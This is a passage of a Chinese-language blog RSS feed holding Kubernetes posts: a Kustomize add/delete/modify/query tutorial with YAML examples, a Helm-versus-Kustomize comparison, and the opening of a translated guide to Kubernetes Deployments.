&lt;li&gt;API Server 会向 Kubelet 发起连接。&lt;/li&gt;
&lt;li&gt;在 exec 结束之前，连接持续存在。

&lt;ul&gt;
&lt;li&gt;Kubectl 和 API Server 之间&lt;/li&gt;
&lt;li&gt;API Server 和 Kubelet 之间&lt;/li&gt;
&lt;li&gt;Kubelet 和容器运行时之间&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Kubectl 或者 API Server 无法在工作节点上运行任何东西。Kubelet 可以通过和容器运行时的互动来完成任务。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kustomize 中的增删改查</title>
      <link>/post/crud-with-kustomize/</link>
      <pubDate>Sat, 17 Aug 2019 23:12:56 +0800</pubDate>
      <guid>/post/crud-with-kustomize/</guid>
      <description>

&lt;p&gt;在之前的文章中，我曾经说过，相对于 Helm Chart，Kustomize 具有更平缓的学习曲线，更灵活的派生方式，当然这也不是没有代价的，Kustomize 的分享方式和规范性都弱于 Helm Chart，而且上游对下游也是相当缺乏控制能力的。&lt;/p&gt;

&lt;p&gt;本文会从实际出发，列出一系列的场景，看看拿到一个上游应用的标准 YAML 之后，如何使用 Kustomize 对其进行增删改查，形成新的 Kubernetes 资源组，完成对派生应用的定义。&lt;/p&gt;

&lt;h2 id=&#34;准备工作&#34;&gt;准备工作&lt;/h2&gt;

&lt;p&gt;首先我们创建实验目录 &lt;code&gt;lab/base&lt;/code&gt;，在其中生成一组 YAML 文件，作为后续实验的基础（&lt;code&gt;base&lt;/code&gt;），这是一个很简单的应用，只有一个 Deployment：&lt;/p&gt;

&lt;p&gt;deploy.yaml：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flaskapp
        version: v1
    spec:
      containers:
        - name: flaskapp
          image: dustise/flaskapp
          imagePullPolicy: IfNotPresent
          env:
            - name: version
              value: v1
          ports:
            - containerPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如果使用 Kubectl 提交，会在当前命名空间中新建一个 Deployment 和一个 Pod，当然我们暂时不会这么做。&lt;/p&gt;

&lt;p&gt;接下来是创建一个 Kustomize 的定义，作为后续实验的基础，基础定义很简单，它甚至可能不会由上游应用的开发者编写，而是下游的定制者用它来做一个基础。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;resources:
- deploy.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;对它进行渲染，会毫无意外的出现一个和 &lt;code&gt;deploy.yaml&lt;/code&gt; 一样的输出内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kubectl kustomize base
apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flaskapp
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;增&#34;&gt;增&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;创建一个新的工作目录，&lt;code&gt;lab/overlays/c&lt;/code&gt;，本节的内容都会使用这个目录来完成。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;在继承上游应用的 YAML 时，经常需要向其中加入定制元素，比如加入新的 Ingress、Service、Configmap 等，还有可能新增一些对象内的定义。下面的两个例子分别展示了 Kustomize 完成这类任务的方法。&lt;/p&gt;

&lt;h3 id=&#34;加入新对象&#34;&gt;加入新对象&lt;/h3&gt;

&lt;p&gt;上面的 Base 中，有了一个孤零零的 Deployment，多数的业务应用还是需要有个 Service 提供服务的，我们就给它加入一个新对象。&lt;/p&gt;

&lt;p&gt;在 &lt;code&gt;c&lt;/code&gt; 目录中，新建一个 &lt;code&gt;service.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: v1
kind: Service
metadata:
  name: flaskapp
  labels:
    app: flaskapp
spec:
  selector:
    app: flaskapp
    version: v1
  ports:
    - name: http
      port: 80
      targetPort: 80
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;然后新建一个 &lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../../base
resources:
- service.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;执行命令 &lt;code&gt;kustomize build overlays/c&lt;/code&gt;，可以看到，在原有 &lt;code&gt;Deployment&lt;/code&gt; 的基础上，新增了一个服务。&lt;/p&gt;

&lt;h3 id=&#34;新增字段&#34;&gt;新增字段&lt;/h3&gt;

&lt;p&gt;很多应用都会声明运行时的资源需求，但是我们的 &lt;code&gt;base&lt;/code&gt; 中并没有这个字段，Kustomize 可以用补丁的方式加入这个字段。&lt;/p&gt;

&lt;p&gt;首先创建一个补丁文件 &lt;code&gt;overlays/c/resource-patch.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    spec:
      containers:
      - name: flaskapp
        resources:
          requests:
            memory: &amp;quot;64Mi&amp;quot;
            cpu: &amp;quot;250m&amp;quot;
          limits:
            memory: &amp;quot;64Mi&amp;quot;
            cpu: &amp;quot;250m&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的补丁文件用最简单的字段赋值标识出了要打补丁的位置，并加入了资源限制。&lt;/p&gt;

&lt;p&gt;修改 &lt;code&gt;overlays/c/kustomization.yaml&lt;/code&gt;，加入补丁：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../../base
resources:
- service.yaml
patchesStrategicMerge:
- resource-patch.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次使用 &lt;code&gt;kustomize build overlays/c&lt;/code&gt;，或者直接使用 &lt;code&gt;kubectl apply -k overlays/c&lt;/code&gt;，都能看到，资源限制已经应用。&lt;/p&gt;

&lt;h3 id=&#34;创建-configmap-并加载&#34;&gt;创建 Configmap 并加载&lt;/h3&gt;

&lt;p&gt;在 &lt;code&gt;overlays/c&lt;/code&gt; 下面新建一个配置文件 &lt;code&gt;config.ini&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-ini&#34;&gt;key=value
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;新增的 &lt;code&gt;configMapGenerator&lt;/code&gt; 要求使用 &lt;code&gt;config.ini&lt;/code&gt; 生成一个 ConfigMap。&lt;/p&gt;

&lt;p&gt;然后再做一个补丁文件 &lt;code&gt;env-patch.yaml&lt;/code&gt;，用来加载 Config：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    spec:
      containers:
      - name: flaskapp
        env:
        - name: CONFIG
          valueFrom:
            configMapKeyRef:
              name: config-ini
              key: config.ini
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;修改 &lt;code&gt;kustomization.yaml&lt;/code&gt;，加入我们的 Configmap 和补丁，结果为如下内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../../base
resources:
- service.yaml
configMapGenerator:
- name: config-ini
  files:
    - config.ini
patchesStrategicMerge:
- resource-patch.yaml
- env-patch.yaml
generatorOptions:
  disableNameSuffixHash: true
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;kubectl apply -k overlays/c&lt;/code&gt; 之后，会看到 Pod 中加入了对 Configmap 的引用，进入 Pod 也能看到新增的环境变量，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl exec -it flaskapp-5b886b8dfc-qq68w env | grep CONFIG
CONFIG=key=value
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;删&#34;&gt;删&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;创建一个新的工作目录，&lt;code&gt;lab/overlays/d&lt;/code&gt;，本节的内容都会使用这个目录来完成。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;使用 &lt;code&gt;patchesStrategicMerge&lt;/code&gt; 的特定语法，可以删除指定内容。&lt;/p&gt;

&lt;h3 id=&#34;删除一个对象&#34;&gt;删除一个对象&lt;/h3&gt;

&lt;p&gt;在 &lt;code&gt;c&lt;/code&gt; 案例中新建的 Service 对象，我并不想要，如何通过 &lt;code&gt;Kustomize&lt;/code&gt; 删掉？同样也使用打补丁的方式来解决。首先创建一个继承自 &lt;code&gt;overlays/c&lt;/code&gt; 的 Kustomization，在 &lt;code&gt;overlays/d&lt;/code&gt; 中创建 &lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../c
patchesStrategicMerge:
- remove-svc.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;以及 &lt;code&gt;remove-svc.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;kind: Service
apiVersion: v1
metadata:
  name: flaskapp
$patch: delete
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;运行 &lt;code&gt;kustomize build overlays/d&lt;/code&gt;，可以看到，输出内容中的 Service 不见了。&lt;/p&gt;

&lt;h3 id=&#34;删除一个字段&#34;&gt;删除一个字段&lt;/h3&gt;

&lt;p&gt;接下来我们用类似的方法，删除前面设置的环境变量：&lt;/p&gt;

&lt;p&gt;新建一个 &lt;code&gt;remove-field.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    metadata:
      labels:
        app: flaskapp
        version: v1
    spec:
      containers:
        - name: flaskapp
          image: dustise/flaskapp
          env:
          - name: CONFIG
            $patch: delete
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再把补丁加入 &lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../c
patchesStrategicMerge:
- remove-svc.yamlƒ
- remove-field.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次 &lt;code&gt;kustomize build overlays/d&lt;/code&gt;，可以看到新的环境变量已经被删除。&lt;/p&gt;

&lt;h2 id=&#34;改&#34;&gt;改&lt;/h2&gt;

&lt;blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;创建一个新的工作目录，&lt;code&gt;lab/overlays/u&lt;/code&gt;，本节的内容都会使用这个目录来完成。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/blockquote&gt;

&lt;p&gt;除了 &lt;code&gt;patchesStrategicMerge&lt;/code&gt; 之外，&lt;code&gt;kustomize&lt;/code&gt; 还提供了一些方便快捷的方式能够对特定内容进行修改。&lt;/p&gt;

&lt;h3 id=&#34;修改名字&#34;&gt;修改名字&lt;/h3&gt;

&lt;p&gt;可以用 namePrefix 和 nameSuffix 修改对象的名字，例如我们要给&lt;strong&gt;所有&lt;/strong&gt;名字加上 &lt;code&gt;overlay-u&lt;/code&gt;：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../c
namePrefix: overlay-u
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;接下来可以看看结果：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl apply -k overlays/u --dry-run -o yaml | grep -E &amp;quot;^\s+name:&amp;quot;
    name: overlay-u-config-ini
    name: overlay-u-flaskapp
    name: overlay-u-flaskapp
                name: overlay-u-config-ini
          name: flaskapp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;输出内容中，前三个分别是 ConfigMap、Service 以及 Deployment，第四行中对 Configmap 的引用也修改成了新的名字。&lt;/p&gt;

&lt;p&gt;除了修改名字之外，还有以下几个暴力的修改功能：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;命名空间：namespaces&lt;/li&gt;
&lt;li&gt;注解：commonAnnotations&lt;/li&gt;
&lt;li&gt;标签：commonLabels&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;说这几个东西比较野蛮的原因是：他们的应用范围是整个 Kustomization，例如下面的定制：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../c
namePrefix: overlay-u
commonLabels:
    auto: label
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;生成之后会发现，从 Service、Deployment、Configmap 一直到 Pod，都会打上新标签。&lt;/p&gt;

&lt;h3 id=&#34;修改镜像&#34;&gt;修改镜像&lt;/h3&gt;

&lt;p&gt;修改镜像也是个常见任务，相对上面的几个暴力修改，镜像的修改相对精确一点——从一种镜像修改为另一种，例如我们把 flaskapp 的镜像更换为 &lt;code&gt;nginx:alpine&lt;/code&gt;：&lt;/p&gt;

&lt;p&gt;&lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../c
namePrefix: overlay-u
commonLabels:
    auto: label
images:
- name: dustise/flaskapp
  newName: nginx
  newTag: alpine
&lt;/code&gt;&lt;/pre&gt;

&lt;h3 id=&#34;修改副本数量&#34;&gt;修改副本数量&lt;/h3&gt;

&lt;p&gt;修改副本数量，指定资源名称以及副本数量即可：&lt;/p&gt;

&lt;p&gt;例如如下的 &lt;code&gt;kustomization.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../c
replicas:
- name: flaskapp
  count: 2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;使用 &lt;code&gt;kustomize build overlays/u&lt;/code&gt;，会看到 Deployment 的该字段已经改为 2。&lt;/p&gt;

&lt;h2 id=&#34;查&#34;&gt;查&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;创建一个新的工作目录，&lt;code&gt;lab/overlays/r&lt;/code&gt;，本节的内容都会使用这个目录来完成。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;前面提到，&lt;code&gt;namePrefix&lt;/code&gt; 修改了 ConfigMap 的名称之后，加载这个 CM 的 Deployment 也会修改引用的名称，然而如果在其它位置，例如命令行参数或者环境变量中引用的服务名称之类，就无法完成修改了。假设我们给 Deployment 中加入一个新的环境变量，叫 &lt;code&gt;deploy&lt;/code&gt;，用如下的 &lt;code&gt;kustomization.yaml&lt;/code&gt; 实现：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;bases:
- ../../base
namePrefix: overlay-r-
patchesStrategicMerge:
- env-patch.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;其中引用的 &lt;code&gt;env-patch.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: flaskapp
spec:
  replicas: 1
  template:
    spec:
      containers:
      - name: flaskapp
        env:
        - name: deploy
          value: flaskapp
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;kustomize build overlays/r&lt;/code&gt; 渲染出来之后，很明显的 value 已经无法对应：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: overlay-r-flaskapp
...
      - env:
        - name: svc
          value: flaskapp
        - name: version
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;在 &lt;code&gt;kustomization.yaml&lt;/code&gt; 中加入 &lt;code&gt;vars&lt;/code&gt;，用一系列条件选择一个对象来进行引用，为变量赋值：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
vars:
- name: DEPLOY_NAME
  objref:
    kind: Deployment
    name: flaskapp
    apiVersion: extensions/v1beta1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;把 &lt;code&gt;env-patch.yaml&lt;/code&gt; 中的环境变量定义修改为引用新变量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;...
        - name: deploy
          value: $(DEPLOY_NAME)
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;再次 &lt;code&gt;kustomize build overlays/r&lt;/code&gt;，会看到符合预期的输出内容：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: extensions/v1beta1
kind: Deployment
metadata:
  name: overlay-r-flaskapp
...
        - name: deploy
          value: overlay-r-flaskapp

&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;命令行&#34;&gt;命令行&lt;/h2&gt;

&lt;p&gt;除了上面说的这些声明式的用法之外，&lt;code&gt;kustomize&lt;/code&gt; 还提供了更为即兴的 &lt;code&gt;edit&lt;/code&gt; 命令，可以进行现场修改，进一步的提高了灵活（混乱）程度，有兴趣的读者可以自行摸索。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Helm 和 Kustomize：不只是含谷量的区别</title>
      <link>/post/helm-vs-kustomize/</link>
      <pubDate>Thu, 08 Aug 2019 00:57:37 +0800</pubDate>
      <guid>/post/helm-vs-kustomize/</guid>
      <description>

&lt;p&gt;Kustomize 问世的时候，我是比较鄙视的——非要造个谷歌的轮子么？不过最近抽出时间熟悉了一下 Kustomize，发现我还是带了有色眼镜。二者功能虽然有所重叠，但是工作思路的差别还是很大的，下面就简单做一点比较，权当引玉之砖。&lt;/p&gt;

&lt;h2 id=&#34;helm&#34;&gt;Helm&lt;/h2&gt;

&lt;p&gt;Helm 是 Kubernetes 中的第一个对应用程序进行管理的支撑工具，经常会拿来同 Yum、apt 等工具进行类比。Helm 由几个不同的组件构成：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;CLI：客户端工具，有几大功能

&lt;ul&gt;
&lt;li&gt;从 Chart 服务器获取列表、搜索 Chart 项目&lt;/li&gt;
&lt;li&gt;安装 Chart&lt;/li&gt;
&lt;li&gt;构建 Chart&lt;/li&gt;
&lt;li&gt;充当 Chart 服务器&lt;/li&gt;
&lt;li&gt;和 Tiller 协同管理应用生命周期&lt;/li&gt;
&lt;li&gt;渲染 Chart 为 Kubernetes 生成 YAML&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Tiller：需要用特定授权和 API Server 进行通信，Kubernetes 集群内外部署都可以。

&lt;ul&gt;
&lt;li&gt;它是 Helm 的内鬼，负责接收来自 Cli 的指令，完成对集群内应用生命周期的控制。&lt;/li&gt;
&lt;li&gt;3.0 中将取消 Tiller。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;Repository：

&lt;ul&gt;
&lt;li&gt;是存储 Helm Chart 的仓库，可以被 Cli 工具缓存、检索，CLI 也可以获取 Chart 进行后续操作。&lt;/li&gt;
&lt;li&gt;和 Tiller 一样，Repository 也不是必要组件，CLI 完全可以仅在本地工作。&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;helm-chart&#34;&gt;Helm Chart&lt;/h3&gt;

&lt;p&gt;Helm 使用 Chart 对应用程序进行描述，它使用 Go Template 对应用部署所需的 YAML 进行抽象，形成应用部署模板，在需要进行部署时，可以编写 yaml 为模板中的变量进行赋值，也可以在 Helm CLI 的命令行中使用 &lt;code&gt;--set name=value&lt;/code&gt; 的方式来对简单变量进行赋值，完成赋值之后，可以选择使用 &lt;code&gt;helm template&lt;/code&gt; 指令将 Chart + Value 的组合渲染成为 YAML 供 &lt;code&gt;kubectl&lt;/code&gt; 使用，也可以使用 &lt;code&gt;helm install&lt;/code&gt; 直接通过 Tiller 进行安装。&lt;/p&gt;

&lt;h3 id=&#34;helm-的特色&#34;&gt;Helm 的特色&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;强大的生命周期管理：有 Tiller 的帮助，可以实现对应用程序实例（Release）的查询、安装、卸载、升级、回滚等复杂操作。&lt;/li&gt;
&lt;li&gt;严格的基础版本管控：Chart 是一种模板，Chart 的用户仅能通过对 &lt;code&gt;values&lt;/code&gt; 的控制来定制应用的部署行为，模板中没有提供变量的位置，是无法在下游直接进行变更的。&lt;/li&gt;
&lt;li&gt;方便的命令行：对于简单变量，可以在部署的同时直接指定内容，方便部署。&lt;/li&gt;
&lt;li&gt;插件和工具：Helm 拥趸众多，提供了不少用于 CICD 或者其它方面辅助功能的插件和工具。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;kustomize&#34;&gt;Kustomize&lt;/h2&gt;

&lt;p&gt;Kustomize 是一个新晋选手，只有一个 CLI 工具，在 Kubernetes 1.14 之后，甚至这唯一的工具也成为 kubectl 的一部分，可以说是很轻量级了。&lt;/p&gt;

&lt;h3 id=&#34;base-overlay&#34;&gt;Base + Overlay&lt;/h3&gt;

&lt;p&gt;在 Kustomize 的文档中明确说明：&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;kustomize is a command line tool supporting template-free, structured customization of declarative configuration targetted to k8s-style objects.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;它放弃了对模板的要求，改用 Base + Overlay 的方式对应用的原始 YAML 进行&lt;code&gt;派生&lt;/code&gt;。&lt;code&gt;Overlay&lt;/code&gt;，顾名思义，就是覆盖。Kustomize 的 Overlay 可以在 Base 的基础上，通过对 &lt;code&gt;resource&lt;/code&gt;、&lt;code&gt;generator&lt;/code&gt;、&lt;code&gt;transformer&lt;/code&gt; 等的定义，形成新的应用定义，不论 Base
还是 Overlay，都可以通过 &lt;code&gt;kustomize build&lt;/code&gt; 生成有效的 YAML。&lt;/p&gt;

&lt;h3 id=&#34;kustomize-的特色&#34;&gt;Kustomize 的特色&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;功能简单清晰，kubectl 直接支持。&lt;/li&gt;
&lt;li&gt;不考虑派生，仅作为应用的 YAML 组织方式也很有帮助。&lt;/li&gt;
&lt;li&gt;也有自己的插件系统。例如可以用简单的 YAML 定义，使用文件生成 Configmap/Secret。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;比较&#34;&gt;比较&lt;/h2&gt;

&lt;p&gt;Kustomize 自称因为去掉了模板语法，更易使用，对此我保留看法，如果仅就入门使用来看，二者差异并不大。&lt;/p&gt;

&lt;p&gt;Tiller 和 Repository 都并非必须，因此在部署上，Kustomize 的优势也不是很大。&lt;/p&gt;

&lt;p&gt;我认为他们的区别主要在工作流程上：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Helm 的基础流程比较&lt;code&gt;瀑布&lt;/code&gt;：定义 Chart-&amp;gt;填充-&amp;gt;运行，在 Chart 中没有定义的内容是无法更改的；&lt;/li&gt;
&lt;li&gt;Kustomize 的用法比较&lt;code&gt;迭代&lt;/code&gt;：Base 和 Overlay 都是可以独立运作的，增加新对象，或者对编写 Base 时未预料的内容进行变更，都不在话下。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;例如我们定义了一个很基础的应用，由 Deployment + Service 组成，如果后续部署中需要完成两个变更：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;新建 Ingress 对象&lt;/li&gt;
&lt;li&gt;修改镜像地址/名称/TAG&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在 Helm 中需要：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;在 Chart 中加入对 Ingress 的定义&lt;/li&gt;
&lt;li&gt;用变量控制 Ingress 是否进行渲染&lt;/li&gt;
&lt;li&gt;Ingress 模板应该包含特定的主机名、注解等变量&lt;/li&gt;
&lt;li&gt;把镜像也定义成变量&lt;/li&gt;
&lt;li&gt;在 Values.yaml 中对这些变量进行赋值。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;而在 Kustomize 中：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;无需对 Base 进行修改&lt;/li&gt;
&lt;li&gt;直接在新的 Overlay 中写入 Ingress Resource&lt;/li&gt;
&lt;li&gt;使用内置的 &lt;code&gt;image transformer&lt;/code&gt; 替换原有镜像&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;要公开发布一个较为复杂的应用，例如 &lt;code&gt;Istio&lt;/code&gt;，编写良好的 Chart 能给用户很大帮助，用户在缺失一点发挥空间的情况下，通过对 &lt;code&gt;values.yaml&lt;/code&gt; 的阅读，就能对这种复杂的部署产生一个较为深入的认识。&lt;/p&gt;

&lt;p&gt;如果是常见的业务应用，因为不同部署之间的差异不大，但是未必可以提前做好变化限制，用 Kustomize 可能会是一个更好的选择。&lt;/p&gt;

&lt;h2 id=&#34;相关链接&#34;&gt;相关链接&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Helm：&lt;code&gt;https://helm.sh/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Kustomize：&lt;code&gt;https://github.com/kubernetes-sigs/kustomize&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Helm 3.0：&lt;code&gt;https://helm.sh/blog/helm-3-preview-pt1/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Helm 工具：&lt;code&gt;https://www.infoq.cn/article/UemPsPu_AlzemkGEqb4Z&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Awesome Helm：&lt;code&gt;https://github.com/cdwv/awesome-helm&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes Deployment 终极指南</title>
      <link>/post/kubernetes-deployments-the-ultimate-guide/</link>
      <pubDate>Sun, 28 Jul 2019 23:27:01 +0800</pubDate>
      <guid>/post/kubernetes-deployments-the-ultimate-guide/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://semaphoreci.com/blog/kubernetes-deployment&#34; target=&#34;_blank&#34;&gt;Kubernetes Deployments: The Ultimate Guide&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://semaphoreci.com/author/jpetazzo&#34; target=&#34;_blank&#34;&gt;Jérôme Petazzoni&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;要把容器化的应用部署起来？在 Kubernetes 中部署容器化应用，总要涉及到 Deployment，这里有这个对象的所有内容。&lt;/p&gt;

&lt;p&gt;我们最早学会的 Kubernetes 命令之一就是 &lt;code&gt;kubectl run&lt;/code&gt;。具备 Docker 经验的用户，不免会用 &lt;code&gt;docker run&lt;/code&gt; 命令和这个命令进行对比，结论可能是：运行容器就是这么简单。&lt;/p&gt;

&lt;p&gt;我们来看看，在运行一个基本的 &lt;code&gt;kubectl run&lt;/code&gt; 命令的时候，都发生了些什么：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl run web --image=nginx
deployment.apps/web created
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;集群中创建了什么？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ kubectl get all
NAME                       READY     STATUS    RESTARTS   AGE
pod/web-65899c769f-dhtdx   1/1       Running   0          11s

NAME                 TYPE        CLUSTER-IP   EXTERNAL-IP   PORT(S)   AGE
service/kubernetes   ClusterIP   10.96.0.1    &amp;lt;none&amp;gt;        443/TCP   46s

NAME                  DESIRED   CURRENT   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/web   1         1         1            1           11s

NAME                             DESIRED   CURRENT   READY     AGE
replicaset.apps/web-65899c769f   1         1         1         11s
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;我们并没有看到容器，而是一组未知对象：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Deployment：&lt;code&gt;web&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;ReplicaSet：&lt;code&gt;web-65899c769f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Pod：&lt;code&gt;web-65899c769f-dhtdx&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;此处的 &lt;code&gt;kubernetes&lt;/code&gt; 服务可以忽略，它在我们运行命令之前就已经存在了。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;我只想要个容器！为什么看到了三个不同的对象？&lt;/p&gt;

&lt;p&gt;简单说来，这些 Kubernetes 对象能在不停服务的情况下，为应用提供渐进式部署、回滚以及伸缩的支持。&lt;/p&gt;

&lt;p&gt;初次见面难免会好奇：究竟是怎么回事？在了解这些问题之后，就会理解每个对象的角色和存在价值了。&lt;/p&gt;

&lt;p&gt;持续集成提升了对代码的信心。要把这种信心扩展到发布流程之中，部署操作就需要更多保障。&lt;/p&gt;

&lt;h2 id=&#34;容器和-pod&#34;&gt;容器和 Pod&lt;/h2&gt;

&lt;p&gt;在 Kubernetes 中，一个 Deployment 的最小单元不是容器，而是 Pod。Pod 是一组容器（当然这一组也可以只有一个），它们运行在同一台服务器中，并共享一些资源。&lt;/p&gt;

